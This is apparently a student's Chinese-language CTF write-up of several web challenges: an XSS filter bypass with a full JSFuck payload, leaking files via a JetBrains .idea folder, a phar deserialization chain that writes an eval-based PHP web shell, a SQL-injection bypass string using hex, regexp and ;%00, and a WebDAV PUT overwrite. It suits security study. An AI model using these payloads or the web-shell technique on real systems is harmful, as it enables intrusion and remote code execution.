机缘巧合接触到这次招新赛,这次招新赛感觉web出的还不错,适合补充,复习一些基本的知识点。

XSS1

要通过alert 1来获得flag,页面给出了逻辑

<script>
function check(input) {
    while (input.indexOf('alert') >= 0) {
        input = input.replace(/(alert)+/g, '');
    }
    input = 'console.log("' + input + '");';
    var script = document.createElement('script');
    script.innerText = input;
    document.body.appendChild(script);
}
</script>

发现构造的input中,input = 'console.log("' + input + '");';通过字符串拼接之后,来执行js代码,这里只需要绕过console.log即可,思路跟sql注入差不多,前面闭合,后面注释掉就行了。

但是这里自己试了一下,普通的function没有成功,先上官方的wp,用了jsfuck:

");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])();//

OnePiece

这里学到了一个点,使用jetbrain系列的ide,会在工程中生成一个.idea文件,在这其中可能会暴露一些敏感路径。

这题就是利用这个点,获得一个onepiece.zip的压缩包,和一个上传文件的路劲,压缩包解压后是一个加密后的php,找了很多加密脚本,都不行,以为这个是phpjiami,后来发现是phpjm,在https://tool.lu/php中可以进行解密,解密之后上传相应的名为flag的文件就可以轻松获得flag。

从cookie中可以发现提示:please read recent papers about phar,在seebug中找到一篇关于phar反序列化的文章,https://paper.seebug.org/680/文章解释的很详细。参考了他们的文章和自己尝试的记录http://litch1.club/blog/2018/11/12/PHPphar/。页面让我们上传文件,尝试上传一张png图片,可以看到自己上传的目录在http://49.4.68.67:86/?act=get&pic=/var/www/html/sandbox/9d82be25ea7cbc134eea5a4042d04b1d/3568e8a137a417e845f59b2d81436c02.png中,这里可以通过pic=url可以拿到index.php的源码,可以看到include了include('./PicManager.php');可以去看一下PicManger.php这个类,这个类是等一下需要使用的反序列化的类。

这里给出构建phar的函数,首先注意到反序列利用的_destruct()函数,

    public function __destruct(){
        $fp=fopen($this->current_dir.'/'.$this->logfile,"a");
        foreach($this->actions as $act){
            fwrite($fp,$act."\n");
        }
        fclose($fp);
    }
public function gen(){
        @rmdir($this->current_dir);
        $this->current_dir="/var/www/html/sandbox/830f3265f8d9668d1604cb43d4c31ce6/"; //md5($_SERVER['REMOTE_ADDR'])
        $this->logfile='out.php';
        $this->actions=['<?php @eval($_POST[\'1\']);?>'];
        @unlink('phar.phar');
        $phar = new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
        $phar->setMetadata($this); //将自定义meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
        //
}
$pic=new PicManager('/var/www/html/sandbox');
$pic->gen();

这里的利用逻辑是,我们使用phar://读取这个phar文件时,就反序列化生成了这个Picmanger,这里 利用的是_destruct,在fopen时,如果文件不存在,就会新建一个文件,我们这里利用out.php新建了一个php文件,再利用action写入shell。访问这个文件,即可获得flag。

ClassicSqli

<?php 
include "./config.php";
include "./flag.php";
error_reporting(0);

$black_list = "/guest|limit|substr|mid|like|or|char|union|select|greatest|\'|";
$black_list .= "=|_| |in|<|>|-|\.|\(|\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit("Hacker detected!"); 
if(preg_match($black_list, $_GET['pw'])) exit("Hacker detected!"); 


$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'"; 

$result = mysqli_query($link, $query);//这个result查出用户输入的user,pass对应的人
$result = mysqli_fetch_array($result);//返回
$admin_pass = mysqli_fetch_array(mysqli_query($link, "select pw from chal where user='admin'"));//查出admin的pass
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
if($result['user']) echo "<h2>Bonjour!, {$result['user']}</h2>"; 
if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){
        echo $flag;
    }
highlight_file(__FILE__); 
?>

这里看到过滤了很多东西,需要解决几个问题,一个是注释,无法使用#和–,mysql中还有一种单行注释方法,使用;%00,这题没有做出来,先上官方给的wp。

?user=\&pw=^0%26%26user/**/regexp/**/0x61646d696e%26%26pw/**/regexp/**/%22^{}%22;%00

这里user=\转义掉他后面的’使得pw=’这里的引号和前面的闭合,接下来使用了^对前面user='\'&pw='这个条件进行了xor,(这里也是一个我不太理解的点,在Navicat中测试了一波,发现SELECT username from user where username=0;,可以选出所有的列,同时SELECT username from user where username=false;

也可以选出所有的列,还有一个是字符串和0异或的结果都是0,当字符串前面有数字时,异或结果是前面的数字),也就是这里第一个条件符合返回的是所有的user。接着使用&&,让user=Hex值的admin,mysql可以自动将Hex值转换成字符串去查找,regexp可以代替=。这题迷的地方还是挺多的,希望有大佬给我解答一下。

secure html

题目为用户根据seesion创建了一个html页面,html页面的内容可控,php页面输出了这个html的内容,猜测他应该include了这个html,所以现在要做的就是往html中写php代码就行了。但是php页面对html的php代码进行了严格的控制,无法写入,看了官方wp。nginx开了webdav,可以用put去更新html的内容,然后只要访问php页面即可。

作业太多了,溜了溜了 ,还有一些题目又一些零碎的知识点,以后有空再整理吧(期中考后希望有空)